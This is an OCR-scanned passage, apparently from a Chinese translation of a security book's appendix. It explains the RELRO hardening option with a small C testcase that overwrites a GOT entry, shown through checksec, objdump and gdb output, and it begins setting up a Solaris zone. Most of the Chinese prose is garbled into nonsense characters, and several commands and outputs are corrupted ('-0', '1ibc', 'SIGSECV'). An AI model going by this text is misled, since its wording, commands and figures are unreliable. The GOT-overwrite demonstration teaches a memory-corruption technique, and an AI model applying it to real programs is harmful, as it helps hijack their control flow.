TLoadMUIFile@EYEPAUHIHSTANCE _ BEPAUTEPAG1TTHHEZ endp

B C-2 PRERTS MY O4#%4 cookie (/GS) F|H (IDAPro)

{# FFR A checksec.sh IR | AT LIRS 25 BR AR (7] 9 11 1 F 2 At R A 2689 Linux
RERECE, DSAEN ELF —#H S cEHRER,

C.2 RELRO
RELRO 2 —Fi Al (R R BB AR , RTS8 4L ELFU Z b e sl %
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R EIE B ELF B —F0 ¥ AR AT BT SO FPERIRE R, Tz (8 R & F13€ Unix
%%, £1FE Linux. Solaris f1 BSD, RELRO £ BFPA ] B,

1. #84r RELRO

Q FiFEmS . gee W1, -z, relro,

Q ELF BRE#HHHL, Kk ELF WERRBEH#EE (.got. .dtors 55 ) ZERFHIEL
B (.data Fl.bss ) ZHi.

Q Non-PLT GOT & Ry, ©

0 8 PLT ¥ ( PLT-dependent ) GOT T3&RI 5.

2. 52 RELRO

0 JRiFesfns: gee -Wl, -z, relro, -z, now,

Q ZFFE4 RELRO BIFRA Fk .

Q BN . B4 GOT () B Ry,

B FRBIEEL (.data fl.bss ) BLAA TR X EH, #4 RELRO F5E

4> RELRO #{&EH AL ELF AT HEIEE, UBBHEREEES, HERA
£4> RELRO BEZEME I GOT A D LI HIBFPITRMITEAR (A4 ),

i RELRO Zf#fAR, HHlfE TR RNEAAHA . RAKF62

Debian Linux 6.0,

C.21 MiXAHI 1. #B4 RELRO

ARASHE A C-1 PEX MR P2 — WAl (58 617 ), FHlEIEE

0x41414141 B F|3X M uht ( WS 847 ).

LR3;EE C-1 7 RELRO WHEEBILHS (testcase.c)

01 #include <stdio.h>

02

03 int
04 main (int argc, char *argv([])

05 {
06
07
08
09
10
11
12 }

size t *p = (size_t *)strtol (argv[1], NULL, 16);

p[0] = O0x41414141;
printf (“RELRO: %p\n”, p);

return 0;

@ GOT & Global Offset Table 1485, PLT J& Procedure Linkage Table B4 5 .

PEHE
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LI#ER4T RELRO R IFIX TR

linux$ gcc -g -Wl,-z,relro -o testcase testcase.c

SRJ5 TR checksec.sh AU 2 45 R — RS04

linux$ ./checksec.sh --file testcase _
RELRO STACK CANARY NX PIE ' FILE
Partial RELRO No canary found NX enabled No PIE testcase

% TR H objdump WEERTSTE B C-1 28 917 printf()FERRELH GOT #ihk, A
fa =R BB GOT AH,

linux$ objdump -R ./testcase | grep printf
0804a00c R_386_JUMP_SLOT  printf

£ gdb 33X MUK, BRERESKEN 4.

linux$ gdb -q ./testcase

(gdb) run 0804a00c
Starting program: /home/tk/BHD/testcase 0804a00c

Program received signal SIGSECV, Segmentation fault.
0x41414141 in ?? ()

(gdb) info registers eip
eip 0x41414141 0x41414141

ZEB 5 H R4y RELRO {337 ELF —#E&3c:, A nl & i E & GOT
A0, #EHHEAHBITI

C.22 MiKAH 2. £ RELRO
X—, FRLI5EL RELRO 34X M EF

linux$ gcc -g -Wl,-z,relro,-z,now -0 testcase testcase.c

linux$ ./checksec.sh --file testcase
RELRO STACK CANARY NX PIE FILE
Full RELRO No canary found NX enabled  No PIE testcase

RERFRZRETS printf()B) GOT Hedik,

linux$ objdump -R ./testcase | grep printf
08049ff8 R 386 JUMP SLOT  printf

linux$ gdb -q ./testcase
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(gdb) run 08049ff8

Starting program: /home/tk/BHD/testcase 08049ff8
Program received signal SIGSEGV, Segmentation fault.

0x08048445 in main (argc=2, argv=0xbffff814) at testcase.c:8
8 p[0] = 0x41414141;

X, BF AT R AETRCRD S 8 F74k SIGSEGV (55 . BRIk BEE M4

(gdb) set disassembly-flavor intel

(gdb) x/1i $eip

0x8048445 <main+49>:  mov  DWORD PTR [eax],0x41414141

(gdb) info registers eax
eax 0x8049ff8

PRAUH—, B REE{E oxa1414141 5 AL E R NFFEHUEE 0x80491F8

(gdb) shell cat /proc/$(pidof testcase)/maps

134520824

08048000-08049000 r-xp 00000000 08:01 497907 /home/tk/testcase
08049000-0804a000 r--p 00000000 08:01 497907 /home/tk/testcase
0804a000-0804b000 Tw-p 00001000 08:01 497907 /home/tk/testcase

b7e8a000-b7e8b000
b7e8b000-b7fcb000
b7fcb000-b7fcdooo
b7fcdooo-b7fceoo0
b7fce000-b7fd1000
b7fe0000-b7fe2000
b7fe2000-b7fe3000

Tw-p 00000000 00:00 O
r-xp 00000000 08:01 181222
r--p 0013f000 08:01 181222
Iw-p 00141000 08:01 181222
Iw-p 00000000 00:00 0
I'w-p 00000000 00:00 O
Ir-Xp 00000000 00:00 O

/1ib/i686/cmov/1ibc-2.11.2.50
/1ib/i686/cmov/1ibc-2.11.2.50
/1ib/i686/cmov/1ibc-2.11.2.50

[vdso]

b7fe3000-b7ffe000 r-xp 00000000 08:01 171385 /1ib/1d-2.11.2.50
b7ffe000-b7fff000 r--p 00012000 08:01 171385 /1ib/1d-2.11.2.50
b7fff000-b8000000 rw-p 0001b000 08:01 171385 /1ib/1d-2.11.2.50
bffeb000-c0000000 rw-p 00000000 00:00 O [stack]

HBREMNFR 2R, B% GOT EAHLHETEE 08049000 ) 08042000 B LT
WHRRBE (1--p ),

2R WR5%E4 RELRO BEH, iXEEE GOT #uhk# F3
Brmgsit A

%, BN GOT

C.23 4L

BRIMZERBFOEIEE (.data fl.bss) BEXAETEWX Y, HoMTe
RELRO A]LIfR{F ELF WA TRBEE:, X AHETS,

524 RELRO, MINMEY GOT AL AN R ATHER,

WA —FhE F B St T DLSEBI2E 8 ELF BAR SCHEfAHE AR, mILLEFTE
A3 # RELRO HIF& |, 12
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C.3 Solaris X1

Solaris X35, ( Solaris Zones ) 22— H T B LA RG R FFH 21T R
RO BRI AR . K% (zone ) Z7E Solaris #1E R Gt ) — LB IR
BIBRERGEIE, G2 X, 34T — M HBFHSRITIRE, K9P
RS ARG HAMF R AR, XFREEERIPE - XBP s TiHRA S
HA X iz B ESnm ., E2 U8R S hairiRIeAER
SR R At D3 ) R T B

C.31 Kif

X AR 286 HIELAY ., £/XIBAREHER Solaris PHATIFEE,
FHEM—HERPEE . LRIFELRAXEN, EF2RRERAREEDR /X
HAEMIELREXE, A XEBEEF - TEZ2UNaEE, HREBURSHRS
BE&PRTHCH M. 81T XEMAHCHRER, A& ARNHEMEE, L
T2/ XA RIZETT,

Sun F1 Oracle # t I E AR N HLZ 2% EH B{F.

—8 N BEAFELHEE T, €F +tF P HBHFESEE
EaFHAARMRERAT X, Solaris 10 10/08 x86/x6% DVD ‘2

MSBETRAERRENF, —AK FREOHKU R K sol-io
WP EAT RS IS IS T — Ak apm ey  Semesdduod waling

. Solaris 10 Generic_137138_09.

TR AgaIR, RAH AR P REZLH
RANBRE, 2REHRAEXNRBANGLZRITAHEY, A—NEBPH
Bl R R RN R PR RRG T £ D)

HARRBHE MR TEF., FROXBRPREBEARUTRY AL
PR IR F, RRERS TR PR P &S, &M ppriv 2 A
BTk Bow K% P A ey s &, [

Solaris K AR 7 A2, HRATHA—IHA: FANKER (2RHHERDH)
SR E—ANE, WRAEEE RHEERBIITE bug, CHATREERITA R
ZENR, KEELRRE, HFHAEERIMFLREKREELRKE, HERX
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FREOL, FRM T —BAO, KBRS 3 EhfidaimiFEA A, XN wEA A
BFAWF—TEFUH P BB XES, HEATAHMXE, ALl

i, BARAR MA R L gkAg, ()

C.3.2 fIi— Solaris L FH X1

LT B IREIE—15 3 P Solaris Xk ( i 2 RABAE— 2 REK B H

LARFBUH P B9 B 3304 )

solaris# id
uid=0(root) gid=0(root)

solaris# zonename
global

HARAIFKEHAE - XHREX,

solaris# mkdir /wwwzone
solaris# chmod 700 /wwwzone

solaristt 1s -1 / | grep wwwzone
drwx------ 2 root root 512 Aug 23 12:45 wwwzone

SR )G zonecfg RIEF IR/ X,

solaris# zonecfg -z wwwzone

wwwzone: No such zone configured

Use ‘create’ to begin configuring a new zone.
zonecfg:wwwzone> create

zonecfg:wwwzone> set zonepath=/wwwzone
zonecfg:wwwzone> set autoboot=true

zonecfg:wwwzone> add net

zonecfg:wwwzone:net> set address=192.168.10.250
zonecfg:wwwzone:net> set defrouter=192.168.10.1
zonecfg:wwwzone:net> set physical=e1000g0
zonecfg:wwwzone:net> end

zonecfg:wwwzone> verify

zonecfg:wwwzone> commit

zonecfg:wwwzone> exit

ZJa, H zoneadm K45 R,

solaris# zoneadm list -vc

ID NAME STATUS PATH BRAND
0 global running / native
- Wwwzone configured /wwwzone native

IP
shared
shared

BTk, IR FHAELR X,
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solaris# zoneadm -z wwwzone install

Preparing to install zone <wwwzone>.

Creating list of files to copy from the global zone.
Copying <8135> files to the zone.

Initializing zone product registry.

Determining zone package initialization order.
Preparing to initialize <1173> packages on the zone.
Initialized <1173> packages on zone.

Zone <wwwzone> is initialized.

solaris# zoneadm -z wwwzone boot

AR —YIIEHR, ping X PNEHIHEL S XA IP #ihl .

solaris# ping 192.168.10.250
192.168.10.250 is alive

LA F g8 RX R R X B,

solaris# zlogin -C wwwzone

B TR TES MR ENREIEG, WU root B4r% KB MIM—IERFL
R

solaris# id
uid=0(root) gid=0(root)

solaris# zonename

wwwzone
solaris# mkdir /export/home

solaris# mkdir /export/home/wwwuser
solaris# useradd -d /export/home/wwwuser wwwuser
solaris# chown wwwuser /export/home/wwwuser

solaris# passwd wwwuser

RIE LA BB P S R A XA 3 BEHEARRY Solaris IR .
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